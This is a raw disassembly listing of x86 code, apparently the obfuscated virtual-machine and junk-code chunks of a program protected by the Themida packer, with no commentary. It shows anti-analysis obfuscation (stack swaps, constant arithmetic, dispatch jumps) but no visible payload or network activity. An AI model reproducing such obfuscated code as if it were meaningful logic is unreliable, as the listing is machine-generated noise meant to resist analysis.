		add	[esp+60h+var_60], 4
		mov	ecx, [esp+60h+var_60]
		add	esp, 4
		push	ebp
		mov	ebp, 4
		add	ecx, ebp
		jmp	loc_58FAF0
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58FD91


loc_58D8C4:				; CODE XREF: sub_58FD91+Cj
		jmp	loc_58B37B
; END OF FUNCTION CHUNK	FOR sub_58FD91
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58D8C9:				; CODE XREF: sub_59196D-4EF0j
		mov	ebx, esi
		pop	esi
		jmp	loc_595D4A
; ---------------------------------------------------------------------------


loc_58D8D1:				; CODE XREF: sub_59196D+5B92j
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp+32h+var_32]
		xor	[esp+32h+var_32], ecx
		xor	ecx, [esp+32h+var_32]
		jmp	loc_592CDF
; ---------------------------------------------------------------------------


loc_58D8EB:				; CODE XREF: sub_59196D-19AFj
		pop	ebx
		push	edx
		push	ebx
		jmp	sub_58EF7E
; ---------------------------------------------------------------------------


loc_58D8F3:				; CODE XREF: sub_59196D+417Bj
		mov	eax, [esp+36h+var_36]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+3Ah+var_3C+2]
		pop	esp
		push	428Bh
		jmp	loc_596405
; ---------------------------------------------------------------------------


loc_58D913:				; CODE XREF: sub_59196D-3B04j
		xor	eax, 0D5B164Dh
		jmp	loc_5914AF
; ---------------------------------------------------------------------------


loc_58D91D:				; CODE XREF: sub_59196D-5FBBj
		add	edx, 31F00243h
		jz	loc_58C451
		add	edx, 16B81A31h
		js	loc_596972
		jmp	loc_5951B3
; ---------------------------------------------------------------------------


loc_58D93A:				; CODE XREF: sub_59196D-207Cj
		mov	esi, 767E0A13h
		dec	esi
		jmp	loc_598642
; ---------------------------------------------------------------------------


loc_58D945:				; CODE XREF: sub_59196D-A37j
		xor	[esp+1Ch+var_1E+2], edi
		xor	edi, [esp+1Ch+var_1E+2]
		mov	esp, [esp+1Ch+var_1E+2]
		sar	byte ptr [esp+1Ch+var_1E+2], cl
		pushf
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_58D957:				; CODE XREF: sub_59196D-14FFj
		pop	ebp
		add	esi, 6C907EBh
		add	esi, ebx
		sub	esi, 6C907EBh
		pop	ebx
		add	esi, 2
		xchg	esi, [esp+18h+var_1A+2]
		jmp	loc_5965CD
; ---------------------------------------------------------------------------


loc_58D975:				; CODE XREF: sub_59196D+53A1j
		mov	ebx, [esp+18h+var_1A+2]
		add	esp, 4
		add	ecx, 9FD3ED72h
		and	eax, ecx
		push	[esp+14h+var_16+2]
		pop	ecx
		push	ebp
		jmp	loc_597CAA
; ---------------------------------------------------------------------------


loc_58D98D:				; CODE XREF: sub_59196D-16DFj
		mov	ebp, ebx
		pop	ebx
		sub	edi, 5783014Dh
		sub	edi, ebp
		add	edi, 5783014Dh
		mov	ebp, [esp+14h+var_16+2]
		add	esp, 4
		not	edi
		not	edi
		sub	esp, 4
		mov	[esp+14h+var_16+2], ecx
		jmp	loc_596E32
; ---------------------------------------------------------------------------


loc_58D9B6:				; CODE XREF: sub_59196D+5494j
		push	eax
		mov	eax, 686157F5h
		and	esi, eax
		pop	eax
		add	esi, 300A7FADh
		jbe	loc_5914D6
		jmp	loc_592D81
; ---------------------------------------------------------------------------


loc_58D9D0:				; CODE XREF: sub_59196D+EB6j
		sub	eax, 54680F81h
		add	eax, ecx
		add	eax, 54680F81h
		pop	ecx
		jmp	loc_590809
; ---------------------------------------------------------------------------


loc_58D9E2:				; CODE XREF: sub_59196D-8BFj
		not	esi
		xor	esi, 10035A1Dh
		sub	edx, esi
		pop	esi
		xor	edx, [esp+0Ch+var_C]
		xor	[esp+0Ch+var_C], edx
		jmp	loc_597939
; ---------------------------------------------------------------------------


loc_58D9F8:				; CODE XREF: sub_59196D+3796j
		pop	ebp
		push	6164h
		jmp	loc_58EDFB
; ---------------------------------------------------------------------------


loc_58DA03:				; CODE XREF: sub_59196D+2B82j
		mov	[esp+0Ch+var_C], edx
		push	ebx
		mov	bh, 0B9h
		jmp	loc_59546A
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58D10E


loc_58DA0E:				; CODE XREF: sub_58D10E+Fj
		xchg	ebx, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		add	edx, 4
		add	edx, 2
		xor	edx, [esp+0]
		jmp	loc_5929FE
; END OF FUNCTION CHUNK	FOR sub_58D10E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58DA28:				; CODE XREF: sub_59196D-172Dj
		add	dl, cl
		jmp	loc_58DA88
; ---------------------------------------------------------------------------


loc_58DA2F:				; CODE XREF: sub_59196D+C95j
		pop	esp
		sub	eax, 4
		xor	eax, [esp+0Ch+var_C]
		xor	[esp+0Ch+var_C], eax
		xor	eax, [esp+0Ch+var_C]
		mov	esp, [esp+0Ch+var_C]
		mov	[esp+0Ch+var_C], eax
		pop	edx
		jmp	loc_591E67
; ---------------------------------------------------------------------------


loc_58DA48:				; CODE XREF: sub_59196D-6E7j
		mov	[esp+8+var_8], esi
		mov	esi, esp
		push	ecx
		mov	ecx, 4
		jmp	loc_5950D7
; ---------------------------------------------------------------------------


loc_58DA58:				; CODE XREF: sub_59196D-2625j
		mov	esp, [esp+0Ch+var_C]
		mov	word ptr [esp+0Ch+var_C], cx
		movzx	cx, al
		jmp	loc_58D878
; ---------------------------------------------------------------------------


loc_58DA68:				; CODE XREF: sub_59196D+4F57j
		sub	esi, 78F674C1h
		pop	edi
		jmp	loc_593601
; ---------------------------------------------------------------------------


loc_58DA74:				; CODE XREF: sub_59196D+4BAj
		or	edi, 2ED71892h
		sub	edi, 7EBE4690h
		add	eax, edi
		pop	edi
		jmp	loc_5922D9
; ---------------------------------------------------------------------------


loc_58DA88:				; CODE XREF: sub_59196D-3F43j
		add	dl, 0BCh
		pop	ecx
		xor	al, dl
		push	[esp+0Ch+var_C]
		jmp	loc_59256E
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------


loc_58DA96:				; CODE XREF: Themida_:0058B66Bj
		add	[esp+4], ecx
		jmp	loc_58F2DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58DA9F:				; CODE XREF: sub_59196D-487Aj
		add	edi, ebp
		mov	ebp, [esp+14h+var_16+2]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+18h+var_1A+2]
		pop	esp
		xchg	edi, [esp+14h+var_16+2]
		mov	esp, [esp+14h+var_16+2]
		mov	cx, word ptr [esp+14h+var_16+2]
		push	383Ch
		mov	[esp+18h+var_1A+2], esi
		sub	esp, 4
		mov	[esp+1Ch+var_1E+2], esp
		push	ebp
		mov	ebp, 4
		add	[esp+20h+var_1E+2], ebp
		pop	ebp
		pop	esi
		jmp	loc_595E39
; ---------------------------------------------------------------------------


loc_58DAE3:				; CODE XREF: sub_59196D-26C7j
		add	ebx, 37341A85h
		dec	ebx
		shr	ebx, 8
		push	edx
		mov	edx, 7FC587h
		xor	ebx, edx
		jmp	loc_58CCC0
; ---------------------------------------------------------------------------


loc_58DAFA:				; CODE XREF: sub_59196D-2698j
					; sub_59196D+1336j
		sub	edx, 5B1258F4h
		push	ecx
		mov	ecx, 74C4359Eh
		xor	ecx, 466F0E3Fh
		add	ecx, 0F71D33ECh
		add	edx, ecx
		pop	ecx
		jmp	loc_59126D
; ---------------------------------------------------------------------------


loc_58DB1A:				; CODE XREF: sub_59196D+763j
		mov	edx, [esp+1Ch+var_1E+2]
		add	esp, 4
		jmp	loc_594CCF
; ---------------------------------------------------------------------------


loc_58DB25:				; CODE XREF: sub_59196D-44EEj
		shl	dl, 8
		push	eax
		mov	al, 91h
		shl	al, 1
		shr	al, 3
		add	al, 4Dh
		shl	al, 1
		jmp	loc_59603A
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59128B


loc_58DB39:				; CODE XREF: sub_59128B+51j
		add	esp, 4
		jmp	loc_58B37B
; END OF FUNCTION CHUNK	FOR sub_59128B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58DB41:				; CODE XREF: sub_59196D:loc_58E9B7j
		xor	esi, 7A484406h
		xor	esi, edi
		mov	edi, [esp+34h+var_36+2]
		add	esp, 4
		jmp	loc_58CB99
; ---------------------------------------------------------------------------


loc_58DB57:				; CODE XREF: sub_59196D+5A56j
		mov	ebp, [esp+30h+var_32+2]
		add	esp, 4
		add	eax, 22E41B83h
		push	4D4Ah
		jmp	loc_59677A
; ---------------------------------------------------------------------------


loc_58DB6C:				; CODE XREF: sub_59196D-106Bj
		push	7F59h
		mov	[esp+34h+var_36+2], ebx
		jmp	loc_596824
; ---------------------------------------------------------------------------


loc_58DB79:				; CODE XREF: sub_59196D+32F5j
		add	[esp+34h+var_36+2], 0E150B45h
		push	[esp+34h+var_36+2]
		pop	eax
		add	esp, 4
		sub	esp, 4
		mov	[esp+34h+var_36+2], edx
		push	ebp
		push	ebx
		jmp	loc_592FEA
; ---------------------------------------------------------------------------


loc_58DB94:				; CODE XREF: sub_59196D-243Fj
		mov	edi, 4
		add	dword ptr [esp+4], 584349E2h
		jmp	loc_5906C8
; ---------------------------------------------------------------------------


loc_58DBA6:				; CODE XREF: sub_59196D-4F98j
		pop	esi
		add	esi, ebp
		pop	ebp
		sub	esi, 4
		xchg	esi, [esp+36h+var_36]
		mov	esp, [esp+36h+var_36]
		mov	[esp+36h+var_36], ebp
		mov	ebp, 67280549h
		add	ebx, ebp
		jmp	loc_593616
; ---------------------------------------------------------------------------


loc_58DBC5:				; CODE XREF: sub_59196D+20C0j
		pop	bx
		sub	al, 10h
		jmp	loc_58CB87
; ---------------------------------------------------------------------------


loc_58DBCE:				; CODE XREF: sub_59196D+1D58j
		neg	eax
		jo	loc_596A73
		sub	eax, 6EF96C2Fh
		js	loc_58BFD9
		neg	eax
		add	eax, 7E2ABE6h
		mov	ebp, eax
		pop	eax
		mov	edx, ebx
		pop	ebx


loc_58DBEE:				; CODE XREF: sub_59196D+3309j
		add	ebx, 0FAAE649Eh
		add	ecx, ebx
		pop	ebx
		sub	edi, ecx
		mov	ecx, [esp+28h+var_2A+2]
		add	esp, 4
		xchg	edi, [esp+24h+var_26+2]
		pop	esp
		mov	[esp+20h+var_22+2], ebx
		pop	eax
		push	ebp
		jmp	loc_597BE7
; ---------------------------------------------------------------------------


loc_58DC10:				; CODE XREF: sub_59196D+3176j
		mov	ebp, 83030E7h
		push	edi
		mov	edi, 5D2E2C40h
		xor	ebp, edi
		pop	edi
		shl	ebp, 2
		shl	ebp, 4
		jmp	loc_590144
; ---------------------------------------------------------------------------


loc_58DC29:				; CODE XREF: sub_59196D-492Ej
		add	esi, 4
		xchg	esi, [esp+1Ch+var_1E+2]
		mov	esp, [esp+1Ch+var_1E+2]
		jmp	loc_58E46B
; ---------------------------------------------------------------------------


loc_58DC37:				; CODE XREF: sub_59196D+11A3j
		or	ebx, 20AE510Ch
		jno	loc_594845
		jmp	loc_596188
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------
		add	esp, 4
		push	dword ptr [esp]
		pop	eax
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58DC52:				; CODE XREF: sub_59196D+44D5j
		mov	edx, 4
		jmp	loc_590333
; ---------------------------------------------------------------------------


loc_58DC5C:				; CODE XREF: sub_59196D-196Bj
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+20h+var_22+2]
		pop	esp
		xor	eax, [esp+1Ch+var_1E+2]
		xor	[esp+1Ch+var_1E+2], eax
		xor	eax, [esp+1Ch+var_1E+2]
		mov	esp, [esp+1Ch+var_1E+2]
		mov	[esp+1Ch+var_1E+2], ecx
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_58DC7F:				; CODE XREF: sub_59196D+3AFFj
		mov	ebx, [esp+1Ch+var_1E+2]
		add	esp, 4
		jmp	loc_58CB91
; ---------------------------------------------------------------------------


loc_58DC8A:				; CODE XREF: sub_59196D+6CA9j
		push	edi
		push	ebx
		mov	ebx, 4C004485h
		push	ebp
		mov	ebp, ebx
		mov	edi, ebp
		pop	ebp
		jmp	loc_593C49
; ---------------------------------------------------------------------------


loc_58DC9C:				; CODE XREF: sub_59196D+47E2j
		pop	ebx
		neg	ebx
		jmp	loc_593B14
; ---------------------------------------------------------------------------


loc_58DCA4:				; CODE XREF: sub_59196D+1C38j
		sub	ecx, 1
		dec	ecx
		push	0
		sub	[esp+20h+var_22+2], ecx
		pop	ecx
		or	ecx, 59FC7846h
		not	ecx
		jmp	loc_5946EB
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------
		lodsd
		sub	eax, 552C209Ah
		add	eax, ebx
		push	0FD9h
		mov	[esp], ecx
		mov	ecx, 3E4D15D2h
		push	edx
		push	ecx
		jmp	loc_59713B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58DCDD:				; CODE XREF: sub_59196D+57EAj
		sub	bl, 7Dh
		push	1324h
		mov	[esp+20h+var_22+2], ecx
		mov	ch, 52h
		add	bl, ch
		mov	ecx, [esp+20h+var_22+2]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+24h+var_26+2]
		pop	esp
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------
		popa
		retn
; ---------------------------------------------------------------------------


loc_58DD06:				; DATA XREF: Themida_:0058B098o
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	word ptr [esp],	cl
		pushf
		jmp	loc_58B37B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58DD16:				; CODE XREF: sub_59196D-28C7j
		push	7759h
		mov	[esp+24h+var_26+2], edi
		jmp	loc_597CFD
; ---------------------------------------------------------------------------


loc_58DD23:				; CODE XREF: sub_59196D+477Fj
		sub	eax, ebx
		jmp	loc_58D053
; ---------------------------------------------------------------------------


loc_58DD2A:				; CODE XREF: sub_59196D:loc_594530j
		jmp	loc_58CA98
; ---------------------------------------------------------------------------


loc_58DD2F:				; CODE XREF: sub_59196D+3BB1j
		dec	ebx
		xchg	ebx, edx
		push	ebp
		mov	ebp, 2035127Ah
		jmp	loc_5947AB
; ---------------------------------------------------------------------------


loc_58DD3D:				; CODE XREF: sub_59196D+52A4j
		xor	ebp, eax
		pop	eax
		mov	eax, ebp
		mov	ebp, [esp+24h+var_26+2]
		add	esp, 4
		mov	edx, eax
		mov	eax, [esp+20h+var_22+2]
		push	ecx
		mov	ecx, esp
		push	ebx
		push	ecx
		push	658E722Ah
		pop	ecx
		or	ecx, 4C4F6055h
		jno	loc_596564
		xor	ecx, 6DCF727Bh
		mov	ebx, ecx
		add	al, 2
		mov	ebx, eax


loc_58DD70:				; CODE XREF: sub_59196D+BA9j
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		adc	byte ptr [esp+2Ah+var_2A], al
		pushf
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_58DD7F:				; CODE XREF: sub_59196D-3B9j
		mov	edi, 8A62ECAh
		xor	edi, 58917AEFh
		not	edi
		shr	edi, 7
		jmp	loc_591387
; ---------------------------------------------------------------------------


loc_58DD94:				; CODE XREF: sub_59196D-21F8j
		xor	[esp+2Eh+var_2E], ebp
		xor	ebp, [esp+2Eh+var_2E]
		pop	esp
		mov	[esp+2Ah+var_2A], ebp
		push	1
		push	[esp+2Eh+var_2E]
		mov	ebp, [esp+32h+var_32]
		add	esp, 4
		push	edx
		mov	edx, esp
		push	edi
		mov	edi, 46507213h
		neg	edi
		xor	edi, 2F50130Fh
		jmp	loc_5932BE
; ---------------------------------------------------------------------------


loc_58DDC2:				; CODE XREF: sub_59196D+171Ej
		xor	[esp+36h+var_36], ebp
		xor	ebp, [esp+36h+var_36]
		pop	esp
		shl	byte ptr [esp+32h+var_32], cl
		pushf
		jmp	loc_5935CA
; ---------------------------------------------------------------------------


loc_58DDD2:				; CODE XREF: sub_59196D:loc_58F03Cj
		shl	edi, 2
		js	loc_59044D
		xor	edi, 0A7B55F74h
		mov	ecx, ecx
		mov	dl, 36h


loc_58DDE5:				; CODE XREF: sub_59196D-277Fj
					; sub_59196D-DF7j
		add	eax, 226E0CECh
		jmp	loc_58BF63
; ---------------------------------------------------------------------------


loc_58DDEF:				; CODE XREF: sub_59196D-5103j
					; sub_59196D+270Aj
		shr	eax, 8
		xor	eax, ecx
		jmp	loc_591511
; ---------------------------------------------------------------------------


loc_58DDF9:				; CODE XREF: sub_59196D:loc_5909DEj
					; sub_59196D+5300j
		sub	ebx, 4
		xchg	ebx, [esp+2Eh+var_2E]
		pop	esp
		mov	[esp+2Ah+var_2A], esi
		jmp	loc_595B4C
; ---------------------------------------------------------------------------


loc_58DE0B:				; CODE XREF: sub_59196D+589Fj
		pop	esi
		add	eax, 55EA5F45h
		jmp	loc_595C55
; ---------------------------------------------------------------------------


loc_58DE16:				; CODE XREF: sub_59196D+9E0j
		jmp	loc_592C38
; ---------------------------------------------------------------------------


loc_58DE1B:				; CODE XREF: sub_59196D-44B3j
		add	esi, eax
		sub	esi, 29720344h
		pop	eax
		jmp	loc_58FB19
; ---------------------------------------------------------------------------


loc_58DE29:				; CODE XREF: sub_59196D+322Fj
		add	edx, eax
		jmp	loc_58BFE8
; ---------------------------------------------------------------------------


loc_58DE30:				; CODE XREF: sub_59196D+D14j
		pop	esp
		mov	[esp+10h+var_12+2], edx
		mov	dh, 9Fh
		xor	al, dh
		pop	edx
		push	46BAh
		mov	[esp+10h+var_12+2], edx
		push	eax
		mov	al, 55h
		shr	al, 6
		jp	loc_58BE1D
		neg	al
		jl	loc_598348
		neg	al
		push	ebx
		mov	bh, 6Ch
		jmp	loc_5933BC
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------
		pop	esp
		mov	bh, 58h
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58DE62:				; CODE XREF: sub_59196D-5D64j
		shr	eax, 1
		xor	eax, 73C79F4h
		jnp	loc_58D913
		xor	eax, 0D5B164Dh
		jmp	loc_596F4D
; ---------------------------------------------------------------------------


loc_58DE79:				; CODE XREF: sub_59196D-67Bj
		push	ecx
		push	edx
		sub	[esp+34h+var_36+2], 630755B0h
		pop	ecx
		jmp	loc_5977FE
; ---------------------------------------------------------------------------


loc_58DE88:				; CODE XREF: sub_59196D-1D80j
		push	6F2Dh
		mov	[esp+34h+var_36+2], ebx
		mov	ebx, esp
		jmp	loc_59011D
; ---------------------------------------------------------------------------


loc_58DE97:				; CODE XREF: sub_59196D+191Dj
		mov	[esp+34h+var_36+2], edi
		push	[esp+34h+var_32+2]
		pop	edi
		jmp	loc_5985F7
; ---------------------------------------------------------------------------


loc_58DEA4:				; CODE XREF: sub_59196D+69CEj
		add	esp, 4
		sub	[edi+24h], ecx
		mov	ecx, [esp+30h+var_32+2]
		push	42A1h
		mov	[esp+34h+var_36+2], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+34h+var_36+2]
		jmp	loc_5930D4
; ---------------------------------------------------------------------------


loc_58DECB:				; CODE XREF: sub_59196D-3267j
		pop	eax
		and	ecx, edx
		pop	edx
		shr	ecx, 7
		push	dword ptr [edi+1Ch]
		push	[esp+30h+var_32+2]
		pop	eax
		jmp	loc_59063C
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------
		mov	ecx, [esp]
		push	ebp
		push	332Ah
		push	5BF2h
		jmp	loc_591F1D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58DEF1:				; CODE XREF: sub_59196D-1E1j
		add	eax, ebp
		jmp	loc_5938C5
; ---------------------------------------------------------------------------


loc_58DEF8:				; CODE XREF: sub_59196D+4149j
		push	edx
		jmp	loc_59503D
; ---------------------------------------------------------------------------


loc_58DEFE:				; CODE XREF: sub_59196D+419Cj
		push	[esp+34h+var_32+2]
		pop	eax
		jmp	loc_5937FB
; ---------------------------------------------------------------------------


loc_58DF08:				; CODE XREF: sub_59196D+3AD4j
		push	ecx
		mov	ecx, 4
		jmp	loc_596937
; ---------------------------------------------------------------------------


loc_58DF13:				; CODE XREF: sub_59196D+3660j
		xchg	eax, [esp+0]
		mov	esp, [esp+0]
		shr	eax, 18h
		xor	eax, ecx
		jmp	loc_59047C
; ---------------------------------------------------------------------------


loc_58DF23:				; CODE XREF: sub_59196D+4C92j
		pop	esp
		jmp	loc_58C556
; ---------------------------------------------------------------------------


loc_58DF29:				; CODE XREF: sub_59196D+1293j
		xor	eax, 162F2882h
		shl	eax, 7
		shl	eax, 5
		sub	eax, 6E16D07Ch
		sub	edx, eax
		pop	eax
		shr	edx, 7
		neg	edx
		xor	edx, 0F1326AFFh
		sub	eax, edx
		mov	edx, [esp+30h+var_32+2]
		add	esp, 4
		sub	esp, 4
		jmp	loc_5935F9
; ---------------------------------------------------------------------------


loc_58DF5A:				; CODE XREF: sub_59196D+3197j
		pop	cx
		add	ch, 47h
		sub	ch, dh
		sub	ch, 47h
		pop	dx
		sub	ch, 0Fh
		jmp	loc_58E951
; ---------------------------------------------------------------------------


loc_58DF6E:				; CODE XREF: sub_59196D-4F90j
		pop	ebx
		pop	edx
		push	5667h
		mov	[esp+36h+var_36], eax
		jmp	loc_5932DB
; ---------------------------------------------------------------------------


loc_58DF7D:				; CODE XREF: sub_59196D+DA6j
		pop	ebp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	sub_58C57F
; ---------------------------------------------------------------------------


loc_58DF8C:				; CODE XREF: sub_59196D+5118j
		sub	edx, 6CD3445Ah
		add	edx, 6ED6B0F4h
		sub	eax, edx
		pop	edx
		pop	edx
		push	29DBh
		jmp	loc_58BE30
; ---------------------------------------------------------------------------


loc_58DFA6:				; CODE XREF: sub_59196D+671Cj
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xor	ebx, [esp+32h+var_32]
		xor	[esp+32h+var_32], ebx
		jmp	loc_596FCC
; ---------------------------------------------------------------------------


loc_58DFBF:				; CODE XREF: sub_59196D+3DB7j
		pop	esp
		mov	[esp+2Eh+var_2E], ebx
		jmp	loc_593E5F
; ---------------------------------------------------------------------------


loc_58DFC8:				; CODE XREF: sub_59196D-5253j
		mov	ebx, ebp
		push	[esp+36h+var_36]
		pop	ebp
		add	esp, 4
		sub	[esp+32h+var_2E], 25354F66h
		sub	[esp+32h+var_2E], ebx
		jmp	loc_597D60
; ---------------------------------------------------------------------------


loc_58DFE5:				; CODE XREF: Themida_:0058E628j
					; sub_59196D+2C31j
		sub	ebp, 144FA453h
		xor	ecx, ebp
		pop	ebp
		and	eax, ecx
		jmp	loc_59684E
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------
		movzx	ax, byte ptr fs:[edx]
		push	edx
		push	esp
		jmp	loc_58BCFD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58E001:				; CODE XREF: sub_59196D+4A0Dj
		xor	ecx, 3E26155Bh
		sub	ecx, 0CB50705Bh
		sub	eax, ecx
		pop	ecx
		add	eax, ecx
		push	edx
		mov	edx, 62E134A6h
		and	edx, 1A4F39D4h
		inc	edx
		add	edx, 7822D39Eh
		add	eax, edx
		pop	edx
		push	[esp+2Ah+var_2A]
		pop	ecx
		add	esp, 4
		add	eax, 2
		xor	eax, [esp+26h+var_26]
		xor	[esp+26h+var_26], eax
		xor	eax, [esp+26h+var_26]
		jmp	loc_58C6D1
; ---------------------------------------------------------------------------


loc_58E043:				; CODE XREF: sub_59196D+224Dj
		add	ecx, 436318E0h
		xor	ecx, 633C6072h
		jle	loc_58F94A
		xor	ecx, 5320112Eh
		mov	edx, ecx
		pop	ecx
		neg	edx
		add	edx, 1160C1Ch
		not	edx
		jmp	loc_59540A
; ---------------------------------------------------------------------------


loc_58E06D:				; CODE XREF: sub_59196D+60C2j
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xor	eax, [esp+26h+var_26]
		xor	[esp+26h+var_26], eax
		xor	eax, [esp+26h+var_26]
		pop	esp
		pop	[esp+22h+var_22]
		mov	esp, [esp+1Eh+var_1E]
		xor	ebx, eax
		push	4743h
		mov	[esp+22h+var_22], eax
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_58E097:				; CODE XREF: sub_59196D-2D69j
		xor	edx, 380639FFh
		jge	loc_596154
		sub	edx, 788629F5h
		jmp	loc_58E8F2
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------
		xchg	esi, [esp]

; =============== S U B	R O U T	I N E =======================================



sub_58E0B1	proc near		; CODE XREF: sub_59196D+1DECj

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0058E3CB SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00590506 SIZE 00000009 BYTES

		push	ebp
		jmp	loc_58E3CB
sub_58E0B1	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58E0B7:				; CODE XREF: sub_59196D+31C3j
		jmp	loc_5952F4
; ---------------------------------------------------------------------------


loc_58E0BC:				; CODE XREF: sub_59196D+3FABj
		sub	esi, 4
		xchg	esi, [esp+22h+var_22]
		jmp	loc_594ADF
; ---------------------------------------------------------------------------


loc_58E0CA:				; CODE XREF: sub_59196D+5088j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+22h+var_22]
		pop	esp
		pop	[esp+1Eh+var_1E]
		pop	esp
		mov	[esp+16h+var_16], ebx
		push	esp
		pop	ebx
		add	ebx, 4
		push	6BC2h
		mov	[esp+1Ah+var_1A], ecx
		mov	ecx, 2
		jmp	loc_5956DD
; ---------------------------------------------------------------------------


loc_58E0FB:				; CODE XREF: sub_59196D+5364j
		mov	bl, 0A9h
		sub	bl, 36h
		shl	bl, 8
		not	bl
		sub	bl, 0A4h
		jmp	loc_590116
; ---------------------------------------------------------------------------


loc_58E10D:				; CODE XREF: sub_59196D+18B4j
		mov	ebx, 0
		sub	ebx, 1112525Dh
		add	ebx, edx
		push	edx
		mov	edx, 1112525Dh
		add	ebx, edx
		pop	edx
		push	edx
		jmp	loc_595324
; ---------------------------------------------------------------------------


loc_58E129:				; CODE XREF: sub_59196D-60BDj
		jb	loc_592515
		inc	edx
		jmp	loc_59202A
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------
		inc	word ptr [esp]
		pushf
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58E13A:				; CODE XREF: sub_59196D+162Dj
		jno	loc_596453
		and	eax, 76A53A15h
		jb	loc_59622D
		sub	al, 21h


loc_58E14D:				; CODE XREF: sub_58ED60+757j
		push	ebp
		mov	ebp, 3652012h
		sub	esi, ebp
		mov	ebp, [esp+18h+var_1A+2]
		add	esp, 4
		pop	ecx
		jmp	loc_5942C2
; ---------------------------------------------------------------------------


loc_58E161:				; CODE XREF: sub_59196D-2C20j
		mov	edi, 0E96A04h
		sub	edi, 24883EBCh
		dec	edi
		and	edi, 614B3CE3h
		add	edi, 0E85AE7FEh
		sub	eax, edi
		pop	edi
		add	eax, 7EB55EAFh
		jmp	loc_597A58
; ---------------------------------------------------------------------------


loc_58E186:				; CODE XREF: sub_59196D-14D9j
		xchg	esi, [esp+0Ch+var_C]
		mov	esp, [esp+0Ch+var_C]
		mul	cl
		movzx	cx, ah
		push	3396h
		mov	[esp+10h+var_12+2], edi
		jmp	loc_597785
; ---------------------------------------------------------------------------


loc_58E19F:				; CODE XREF: sub_59196D-54A1j
		xor	edx, 31EE22F3h
		sub	eax, edx
		jmp	loc_5965C7
; ---------------------------------------------------------------------------


loc_58E1AC:				; CODE XREF: sub_59196D-4DD9j
		neg	al
		sub	al, 79h
		sub	al, 1
		push	ebx
		mov	bh, 0C6h
		push	eax
		jmp	loc_58CA01
; ---------------------------------------------------------------------------


loc_58E1BB:				; CODE XREF: sub_59196D-3021j
		mov	[esp+34h+var_36+2], ecx
		mov	ecx, 9C654EAh
		jmp	loc_58EDD5
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	eax
		push	5FA5h
		mov	[esp], ecx
		push	esp
		pop	ecx
		push	edx
		mov	edx, 4
		add	ecx, 7D9D6D40h
		add	ecx, edx
		push	eax
		jmp	loc_592472
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58E1EA:				; CODE XREF: sub_59196D-2A98j
					; sub_59196D:loc_593967j
		mov	ecx, 142807E0h
		jmp	loc_597F15
; ---------------------------------------------------------------------------


loc_58E1F4:				; CODE XREF: sub_59196D+1962j
		add	edx, ebx
		jmp	loc_5982A3
; ---------------------------------------------------------------------------


loc_58E1FB:				; CODE XREF: sub_59196D+5ADBj
		pop	ebp
		shr	eax, 1
		jmp	loc_5970DE
; ---------------------------------------------------------------------------


loc_58E203:				; CODE XREF: sub_59196D-2114j
		sub	ebp, edx
		pop	edx
		push	ebp
		push	[esp+30h+var_2E+2]
		pop	ebp
		pop	[esp+30h+var_32+2]
		pop	esp
		mov	[esp+28h+var_2A+2], ebp
		mov	ebp, 1
		jmp	loc_598426
